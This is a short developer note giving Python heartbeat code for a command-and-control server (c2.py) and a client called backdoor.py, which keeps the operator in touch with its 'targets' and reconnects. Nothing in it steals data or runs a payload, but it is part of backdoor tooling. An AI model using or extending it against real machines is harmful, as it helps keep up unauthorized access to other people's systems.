Heartbeat

[safesploit]

Server / c2.py

Send heartbeat to all targets

import threading

def send_heartbeat_to_all_targets(targets):
    while True:
        for target in targets:
            reliable_send(target, 'heartbeat')
            start_time = time.time()
            while True:
                if time.time() - start_time > 10:  # timeout after 10 seconds
                    print(f"Target {target} did not respond to heartbeat. It might be down.")
                    # handle target not responding here (e.g., remove from list, try to reconnect, etc.)
                    break
                try:
                    message = reliable_recv(target)
                    if message == 'heartbeat_ack':
                        break  # heartbeat acknowledged, break inner loop and move to next target
                except Exception as e:
                    print(f"An error occurred while waiting for heartbeat acknowledgment: {e}")
                    break  # if an error occurred, break inner loop and move to next target
        time.sleep(10)  # adjust the sleep time as needed

heartbeat_thread = threading.Thread(target=send_heartbeat_to_all_targets, args=(targets,))
heartbeat_thread.start()

after sending a heartbeat message to a target, the server waits for a 'heartbeat_ack' message from that target. If it doesn't receive an acknowledgment within 10 seconds, it prints a message indicating that the target might be down.

Client / backdoor.py

def handle_heartbeat():
    last_heartbeat_time = time.time()
    while True:
        message = reliable_recv(target)
        if message == 'heartbeat':
            reliable_send(target, 'heartbeat_ack')
            last_heartbeat_time = time.time()
        elif time.time() - last_heartbeat_time > 20:  # adjust timeout as needed
            print("Haven't received server heartbeat for a while. Server might be down.")
            # implement reconnect logic here
            break

When the client receives a 'heartbeat' message, it can respond with a 'heartbeat_ack' message to acknowledge receipt. If the client doesn't receive a heartbeat message within a certain timeframe, it can assume the server has gone down and try to reconnect.